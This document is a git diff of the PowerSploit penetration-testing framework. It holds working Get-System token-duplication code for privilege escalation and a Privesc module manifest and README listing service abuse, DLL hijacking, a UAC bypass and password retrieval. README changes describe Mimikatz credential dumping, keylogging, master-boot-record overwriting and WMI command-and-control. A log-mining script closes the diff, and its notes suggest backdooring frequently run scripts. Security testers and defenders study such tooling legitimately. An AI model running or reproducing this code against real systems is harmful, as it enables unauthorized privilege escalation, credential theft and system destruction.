if ($OwnerInfo.Domain -and $OwnerInfo.User) {
|
||||
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
|
||||
|
||||
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
|
||||
$Process = Get-Process -Id $_.ProcessId
|
||||
|
||||
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
|
||||
if ($Handle) {
|
||||
$Handle
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-System] error enumerating handle: $_"
|
||||
}
|
||||
} | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1
|
||||
|
||||
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
|
||||
Write-Error '[Get-System] Unable to obtain a handle to a system process.'
|
||||
}
|
||||
else {
|
||||
[IntPtr]$SystemToken = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
Write-Verbose "[Get-System] OpenProcessToken result: $RetVal"
|
||||
Write-Verbose "[Get-System] OpenProcessToken result: $LastError"
|
||||
|
||||
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
Write-Verbose "[Get-System] DuplicateToken result: $LastError"
|
||||
|
||||
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
if(-not($RetVal)) {
|
||||
Write-Error "[Get-System] SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
|
||||
}
|
||||
|
||||
Write-Verbose "[Get-System] SetThreadToken result: $LastError"
|
||||
$null = $Win32Methods::CloseHandle($Handle)
|
||||
}
|
||||
}
|
||||
|
||||
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
|
||||
Write-Error "[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
|
||||
}
|
||||
|
||||
if($PSBoundParameters['WhoAmI']) {
|
||||
Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
return
|
||||
}
|
||||
|
||||
elseif($PSBoundParameters['RevToSelf']) {
|
||||
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
|
||||
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
|
||||
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
|
||||
|
||||
$RetVal = $RevertToSelf.Invoke()
|
||||
if($RetVal) {
|
||||
Write-Output "[Get-System] RevertToSelf successful."
|
||||
}
|
||||
else {
|
||||
Write-Warning "[Get-System] RevertToSelf failed."
|
||||
}
|
||||
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
}
|
||||
|
||||
else {
|
||||
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
|
||||
Write-Error "[Get-System] Script must be run as administrator" -ErrorAction Stop
|
||||
}
|
||||
|
||||
if($Technique -eq 'NamedPipe') {
|
||||
# if we're using named pipe impersonation with a service
|
||||
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
|
||||
}
|
||||
else {
|
||||
# otherwise use token duplication
|
||||
Get-SystemToken
|
||||
}
|
||||
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
}
|
||||
}
|
||||
+4989
File diff suppressed because one or more lines are too long
@@ -0,0 +1,62 @@
|
||||
@{
|
||||
|
||||
# Script module or binary module file associated with this manifest.
|
||||
ModuleToProcess = 'Privesc.psm1'
|
||||
|
||||
# Version number of this module.
|
||||
ModuleVersion = '3.0.0.0'
|
||||
|
||||
# ID used to uniquely identify this module
|
||||
GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'
|
||||
|
||||
# Author of this module
|
||||
Author = 'Will Schroeder (@harmj0y)'
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = 'BSD 3-Clause'
|
||||
|
||||
# Description of the functionality provided by this module
|
||||
Description = 'PowerSploit Privesc Module'
|
||||
|
||||
# Minimum version of the Windows PowerShell engine required by this module
|
||||
PowerShellVersion = '2.0'
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = @(
|
||||
'Get-ModifiablePath',
|
||||
'Get-ProcessTokenGroup',
|
||||
'Get-ProcessTokenPrivilege',
|
||||
'Enable-Privilege',
|
||||
'Add-ServiceDacl',
|
||||
'Set-ServiceBinaryPath',
|
||||
'Test-ServiceDaclPermission',
|
||||
'Get-UnquotedService',
|
||||
'Get-ModifiableServiceFile',
|
||||
'Get-ModifiableService',
|
||||
'Get-ServiceDetail',
|
||||
'Invoke-ServiceAbuse',
|
||||
'Write-ServiceBinary',
|
||||
'Install-ServiceBinary',
|
||||
'Restore-ServiceBinary',
|
||||
'Find-ProcessDLLHijack',
|
||||
'Find-PathDLLHijack',
|
||||
'Write-HijackDll',
|
||||
'Get-RegistryAlwaysInstallElevated',
|
||||
'Get-RegistryAutoLogon',
|
||||
'Get-ModifiableRegistryAutoRun',
|
||||
'Get-ModifiableScheduledTaskFile',
|
||||
'Get-UnattendedInstallFile',
|
||||
'Get-WebConfig',
|
||||
'Get-ApplicationHost',
|
||||
'Get-SiteListPassword',
|
||||
'Get-CachedGPPPassword',
|
||||
'Write-UserAddMSI',
|
||||
'Invoke-EventVwrBypass',
|
||||
'Invoke-PrivescAudit',
|
||||
'Get-System'
|
||||
)
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
|
||||
|
||||
}
|
||||
@@ -1 +1 @@
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
|
||||
@@ -0,0 +1,69 @@
|
||||
To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
|
||||
|
||||
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
|
||||
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
|
||||
|
||||
To use the module, type `Import-Module Privesc`
|
||||
|
||||
To see the commands imported, type `Get-Command -Module Privesc`
|
||||
|
||||
For help on each individual command, Get-Help is your friend.
|
||||
|
||||
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
|
||||
|
||||
|
||||
## PowerUp
|
||||
|
||||
PowerUp aims to be a clearinghouse of common Windows privilege escalation
|
||||
vectors that rely on misconfigurations.
|
||||
|
||||
Running Invoke-AllChecks will output any identifiable vulnerabilities along
|
||||
with specifications for any abuse functions. The -HTMLReport flag will also
|
||||
generate a COMPUTER.username.html version of the report.
|
||||
|
||||
Author: @harmj0y
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
|
||||
### Token/Privilege Enumeration/Abuse:
|
||||
Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not
|
||||
Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID
|
||||
Enable-Privilege - enables a specific privilege for the current process
|
||||
|
||||
### Service Enumeration/Abuse:
|
||||
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
|
||||
Get-UnquotedService - returns services with unquoted paths that also have a space in the name
|
||||
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
|
||||
Get-ModifiableService - returns services the current user can modify
|
||||
Get-ServiceDetail - returns detailed information about a specified service
|
||||
Set-ServiceBinaryPath - sets the binary path for a service to a specified value
|
||||
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
|
||||
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
|
||||
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
|
||||
Restore-ServiceBinary - restores a replaced service binary with the original executable
|
||||
|
||||
### DLL Hijacking:
|
||||
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
|
||||
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
|
||||
Write-HijackDll - writes out a hijackable DLL
|
||||
|
||||
### Registry Checks:
|
||||
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
|
||||
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
|
||||
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
|
||||
|
||||
### Miscellaneous Checks:
|
||||
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
|
||||
Get-UnattendedInstallFile - finds remaining unattended installation files
|
||||
Get-Webconfig - checks for any encrypted web.config strings
|
||||
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
|
||||
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
|
||||
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
|
||||
|
||||
### Other Helpers/Meta-Functions:
|
||||
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
|
||||
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
|
||||
Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe
|
||||
Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks)
|
||||
@@ -1,4 +1,6 @@
|
||||
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
|
||||
## This project is no longer supported
|
||||
|
||||
### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:
|
||||
|
||||
## CodeExecution
|
||||
|
||||
@@ -16,13 +18,9 @@ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or
|
||||
|
||||
Injects shellcode into the process ID of your choosing or within PowerShell locally.
|
||||
|
||||
#### `Invoke-ShellcodeMSIL`
|
||||
#### `Invoke-WmiCommand`
|
||||
|
||||
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
|
||||
|
||||
#### `Watch-BlueScreen`
|
||||
|
||||
Cause a blue screen to occur (Windows 7 and below).
|
||||
Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.
|
||||
|
||||
## ScriptModification
|
||||
|
||||
@@ -40,7 +38,7 @@ Compresses, Base-64 encodes, and outputs generated code to load a managed dll in
|
||||
|
||||
Encrypts text files/scripts.
|
||||
|
||||
#### `Remove-Comments`
|
||||
#### `Remove-Comment`
|
||||
|
||||
Strips comments and extra whitespace from a script.
|
||||
|
||||
@@ -48,11 +46,11 @@ Strips comments and extra whitespace from a script.
|
||||
|
||||
**Add persistence capabilities to a PowerShell script**
|
||||
|
||||
#### `New-UserPersistenceOptions`
|
||||
#### `New-UserPersistenceOption`
|
||||
|
||||
Configure user-level persistence options for the Add-Persistence function.
|
||||
|
||||
#### `New-ElevatedPersistenceOptions`
|
||||
#### `New-ElevatedPersistenceOption`
|
||||
|
||||
Configure elevated persistence options for the Add-Persistence function.
|
||||
|
||||
@@ -60,61 +58,13 @@ Configure elevated persistence options for the Add-Persistence function.
|
||||
|
||||
Add persistence capabilities to a script.
|
||||
|
||||
## PETools
|
||||
#### `Install-SSP`
|
||||
|
||||
**Parse/manipulate Windows portable executables.**
|
||||
Installs a security support provider (SSP) dll.
|
||||
|
||||
#### `Get-PEHeader`
|
||||
#### `Get-SecurityPackages`
|
||||
|
||||
An in-memory and on-disk PE parsing utility.
|
||||
|
||||
#### `Get-ObjDump`
|
||||
|
||||
Displays information about one or more Windows object files.
|
||||
|
||||
#### `Get-DllLoadPath`
|
||||
|
||||
Returns the path from which Windows will load a Dll for the given executable.
|
||||
|
||||
## ReverseEngineering
|
||||
|
||||
**Tools to aid in reverse engineering.**
|
||||
|
||||
#### `Get-PEB`
|
||||
|
||||
Returns the process environment block (PEB) of a process.
|
||||
|
||||
#### `Get-ILDisassembly`
|
||||
|
||||
Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm.
|
||||
|
||||
#### `Get-NtSystemInformation`
|
||||
|
||||
A utility that calls and parses the output of the ntdll!NtQuerySystemInformation function. This utility can be used to query internal OS information that is typically not made visible to a user.
|
||||
|
||||
#### `Get-StructFromMemory`
|
||||
|
||||
Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type.
|
||||
|
||||
#### `Get-Member`
|
||||
|
||||
A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members
|
||||
|
||||
#### `New-Object`
|
||||
|
||||
A proxy function for New-Object that accepts a CLSID with the -ComObject parameter.
|
||||
|
||||
#### `Get-Strings`
|
||||
|
||||
Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals.
|
||||
|
||||
#### `ConvertTo-String`
|
||||
|
||||
Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions.
|
||||
|
||||
#### `Get-MethodAddress`
|
||||
|
||||
Get the unmanaged function address of a .NET method.
|
||||
Enumerates all loaded security packages (SSPs).
|
||||
|
||||
## AntivirusBypass
|
||||
|
||||
@@ -128,6 +78,22 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
|
||||
|
||||
**All your data belong to me!**
|
||||
|
||||
#### `Invoke-TokenManipulation`
|
||||
|
||||
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
|
||||
|
||||
#### `Invoke-CredentialInjection`
|
||||
|
||||
Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).
|
||||
|
||||
#### `Invoke-NinjaCopy`
|
||||
|
||||
Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
|
||||
|
||||
#### `Invoke-Mimikatz`
|
||||
|
||||
Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.
|
||||
|
||||
#### `Get-Keystrokes`
|
||||
|
||||
Logs keys pressed, time and the active window.
|
||||
@@ -136,14 +102,63 @@ Logs keys pressed, time and the active window.
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
#### `Get-GPPAutologon`
|
||||
|
||||
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
|
||||
|
||||
#### `Get-TimedScreenshot`
|
||||
|
||||
A function that takes screenshots at a regular interval and saves them to a folder.
|
||||
|
||||
#### `New-VolumeShadowCopy`
|
||||
|
||||
Creates a new volume shadow copy.
|
||||
|
||||
#### `Get-VolumeShadowCopy`
|
||||
|
||||
Lists the device paths of all local volume shadow copies.
|
||||
|
||||
#### `Mount-VolumeShadowCopy`
|
||||
|
||||
Mounts a volume shadow copy.
|
||||
|
||||
#### `Remove-VolumeShadowCopy`
|
||||
|
||||
Deletes a volume shadow copy.
|
||||
|
||||
#### `Get-VaultCredential`
|
||||
|
||||
Displays Windows vault credential objects including cleartext web credentials.
|
||||
|
||||
#### `Out-Minidump`
|
||||
|
||||
Generates a full-memory minidump of a process.
|
||||
|
||||
#### `Get-MicrophoneAudio`
|
||||
|
||||
Records audio from system microphone and saves to disk
|
||||
|
||||
## Mayhem
|
||||
|
||||
**Cause general mayhem with PowerShell.**
|
||||
|
||||
#### `Set-MasterBootRecord`
|
||||
|
||||
Proof of concept code that overwrites the master boot record with the
|
||||
message of your choice.
|
||||
|
||||
#### `Set-CriticalProcess`
|
||||
|
||||
Causes your machine to blue screen upon exiting PowerShell.
|
||||
|
||||
## Privesc
|
||||
|
||||
**Tools to help with escalating privileges on a target.**
|
||||
|
||||
#### `PowerUp`
|
||||
|
||||
Clearing house of common privilege escalation checks, along with some weaponization vectors.
|
||||
|
||||
## Recon
|
||||
|
||||
**Tools to aid in the reconnaissance phase of a penetration test.**
|
||||
@@ -158,7 +173,11 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
|
||||
|
||||
#### `Invoke-ReverseDnsLookup`
|
||||
|
||||
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
|
||||
Scans an IP address range for DNS PTR records.
|
||||
|
||||
#### `PowerView`
|
||||
|
||||
PowerView is series of functions that performs network and Windows domain enumeration and exploitation.
|
||||
|
||||
## Recon\Dictionaries
|
||||
|
||||
@@ -170,7 +189,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform
|
||||
|
||||
## License
|
||||
|
||||
The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE).
|
||||
The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise.
|
||||
|
||||
## Usage
|
||||
|
||||
@@ -185,23 +204,37 @@ To use the module, type `Import-Module PowerSploit`
|
||||
|
||||
To see the commands imported, type `Get-Command -Module PowerSploit`
|
||||
|
||||
If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner:
|
||||
`$Env:PSModulePath.Split(';') |
|
||||
% { if ( Test-Path (Join-Path $_ PowerSploit) )
|
||||
{Get-ChildItem $_ -Recurse | Unblock-File} }`
|
||||
|
||||
For help on each individual command, Get-Help is your friend.
|
||||
|
||||
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
|
||||
|
||||
## Contribution Rules
|
||||
|
||||
We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following:
|
||||
|
||||
* The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.
|
||||
* The module manifest needs to be updated to reflect the new function being added.
|
||||
* A brief description of the function should be added to this README.md
|
||||
* Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!
|
||||
|
||||
## Script Style Guide
|
||||
|
||||
**For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.**
|
||||
|
||||
* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles:
|
||||
* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:
|
||||
* <http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx>
|
||||
* <http://technet.microsoft.com/en-us/library/ff730946.aspx>
|
||||
|
||||
* If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'.
|
||||
|
||||
* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license.
|
||||
* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).
|
||||
|
||||
* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell.
|
||||
* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.
|
||||
|
||||
* I prefer that variable names be capitalized and be as descriptive as possible.
|
||||
|
||||
@@ -211,29 +244,23 @@ Note: The tools contained within this module were all designed such that they ca
|
||||
|
||||
* Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.
|
||||
|
||||
* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk.
|
||||
* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.
|
||||
|
||||
* Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.
|
||||
|
||||
* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices.
|
||||
* PowerShell v2 compatibility is highly desired.
|
||||
|
||||
* Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:
|
||||
* `[Parameter(Position = 0, Mandatory = $True)]`
|
||||
|
||||
* Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.
|
||||
|
||||
* Don't let commands run on for too long. For example, a pipeline is a natural place for a line break.
|
||||
* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.
|
||||
|
||||
* Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.
|
||||
|
||||
* Use Out-Null to suppress unwanted/irrelevant output.
|
||||
|
||||
* Only use .NET code when absolutely necessary.
|
||||
|
||||
* Use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable.
|
||||
* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.
|
||||
|
||||
* Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.
|
||||
|
||||
* Scripts that are intended to run on a remote machine should be self-contained and not rely upon any additional scripts. Scripts that are designed to run on your host machine can have dependencies on other scripts.
|
||||
|
||||
* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.
|
||||
* If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.
|
||||
|
||||
@@ -0,0 +1,574 @@
|
||||
function Get-ComputerDetail
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
This script is used to get useful information from a computer.
|
||||
|
||||
Function: Get-ComputerDetail
|
||||
Author: Joe Bialek, Twitter: @JosephBialek
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
This script is used to get useful information from a computer. Currently, the script gets the following information:
|
||||
-Explicit Credential Logons (Event ID 4648)
|
||||
-Logon events (Event ID 4624)
|
||||
-AppLocker logs to find what processes are created
|
||||
-PowerShell logs to find PowerShell scripts which have been executed
|
||||
-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to
|
||||
|
||||
.PARAMETER ToString
|
||||
|
||||
Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-ComputerDetail
|
||||
Gets information about the computer and outputs it as PowerShell objects.
|
||||
|
||||
Get-ComputerDetail -ToString
|
||||
Gets information about the computer and outputs it as raw text.
|
||||
|
||||
.NOTES
|
||||
This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to.
|
||||
You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files.
|
||||
|
||||
.LINK
|
||||
|
||||
Blog: http://clymb3r.wordpress.com/
|
||||
Github repo: https://github.com/clymb3r/PowerShell
|
||||
|
||||
#>
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
Param(
|
||||
[Parameter(Position=0)]
|
||||
[Switch]
|
||||
$ToString
|
||||
)
|
||||
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
$SecurityLog = Get-EventLog -LogName Security
|
||||
$Filtered4624 = Find-4624Logon $SecurityLog
|
||||
$Filtered4648 = Find-4648Logon $SecurityLog
|
||||
$AppLockerLogs = Find-AppLockerLog
|
||||
$PSLogs = Find-PSScriptsInPSAppLog
|
||||
$RdpClientData = Find-RDPClientConnection
|
||||
|
||||
if ($ToString)
|
||||
{
|
||||
Write-Output "Event ID 4624 (Logon):"
|
||||
Write-Output $Filtered4624.Values | Format-List
|
||||
Write-Output "Event ID 4648 (Explicit Credential Logon):"
|
||||
Write-Output $Filtered4648.Values | Format-List
|
||||
Write-Output "AppLocker Process Starts:"
|
||||
Write-Output $AppLockerLogs.Values | Format-List
|
||||
Write-Output "PowerShell Script Executions:"
|
||||
Write-Output $PSLogs.Values | Format-List
|
||||
Write-Output "RDP Client Data:"
|
||||
Write-Output $RdpClientData.Values | Format-List
|
||||
}
|
||||
else
|
||||
{
|
||||
$Properties = @{
|
||||
LogonEvent4624 = $Filtered4624.Values
|
||||
LogonEvent4648 = $Filtered4648.Values
|
||||
AppLockerProcessStart = $AppLockerLogs.Values
|
||||
PowerShellScriptStart = $PSLogs.Values
|
||||
RdpClientData = $RdpClientData.Values
|
||||
}
|
||||
|
||||
$ReturnObj = New-Object PSObject -Property $Properties
|
||||
return $ReturnObj
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function Find-4648Logon
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
|
||||
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
|
||||
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
|
||||
|
||||
Function: Find-4648Logon
|
||||
Author: Joe Bialek, Twitter: @JosephBialek
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the
|
||||
the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful
|
||||
for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Find-4648Logon
|
||||
Gets the unique 4648 logon events.
|
||||
|
||||
.NOTES
|
||||
|
||||
.LINK
|
||||
|
||||
Blog: http://clymb3r.wordpress.com/
|
||||
Github repo: https://github.com/clymb3r/PowerShell
|
||||
#>
|
||||
|
||||
Param(
|
||||
$SecurityLog
|
||||
)
|
||||
|
||||
$ExplicitLogons = $SecurityLog | Where-Object {$_.InstanceID -eq 4648}
|
||||
$ReturnInfo = @{}
|
||||
|
||||
foreach ($ExplicitLogon in $ExplicitLogons)
|
||||
{
|
||||
$Subject = $false
|
||||
$AccountWhosCredsUsed = $false
|
||||
$TargetServer = $false
|
||||
$SourceAccountName = ""
|
||||
$SourceAccountDomain = ""
|
||||
$TargetAccountName = ""
|
||||
$TargetAccountDomain = ""
|
||||
$TargetServer = ""
|
||||
foreach ($line in $ExplicitLogon.Message -split "\r\n")
|
||||
{
|
||||
if ($line -cmatch "^Subject:$")
|
||||
{
|
||||
$Subject = $true
|
||||
}
|
||||
elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$")
|
||||
{
|
||||
$Subject = $false
|
||||
$AccountWhosCredsUsed = $true
|
||||
}
|
||||
elseif ($line -cmatch "^Target\sServer:")
|
||||
{
|
||||
$AccountWhosCredsUsed = $false
|
||||
$TargetServer = $true
|
||||
}
|
||||
elseif ($Subject -eq $true)
|
||||
{
|
||||
if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
|
||||
{
|
||||
$SourceAccountName = $Matches[1]
|
||||
}
|
||||
elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
|
||||
{
|
||||
$SourceAccountDomain = $Matches[1]
|
||||
}
|
||||
}
|
||||
elseif ($AccountWhosCredsUsed -eq $true)
|
||||
{
|
||||
if ($line -cmatch "\s+Account\sName:\s+(\S.*)")
|
||||
{
|
||||
$TargetAccountName = $Matches[1]
|
||||
}
|
||||
elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)")
|
||||
{
|
||||
$TargetAccountDomain = $Matches[1]
|
||||
}
|
||||
}
|
||||
elseif ($TargetServer -eq $true)
|
||||
{
|
||||
if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)")
|
||||
{
|
||||
$TargetServer = $Matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#Filter out logins that don't matter
|
||||
if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$"))
|
||||
{
|
||||
$Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4648
|
||||
LogSource = "Security"
|
||||
SourceAccountName = $SourceAccountName
|
||||
SourceDomainName = $SourceAccountDomain
|
||||
TargetAccountName = $TargetAccountName
|
||||
TargetDomainName = $TargetAccountDomain
|
||||
TargetServer = $TargetServer
|
||||
Count = 1
|
||||
Times = @($ExplicitLogon.TimeGenerated)
|
||||
}
|
||||
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $ReturnInfo
|
||||
}
|
||||
|
||||
function Find-4624Logon
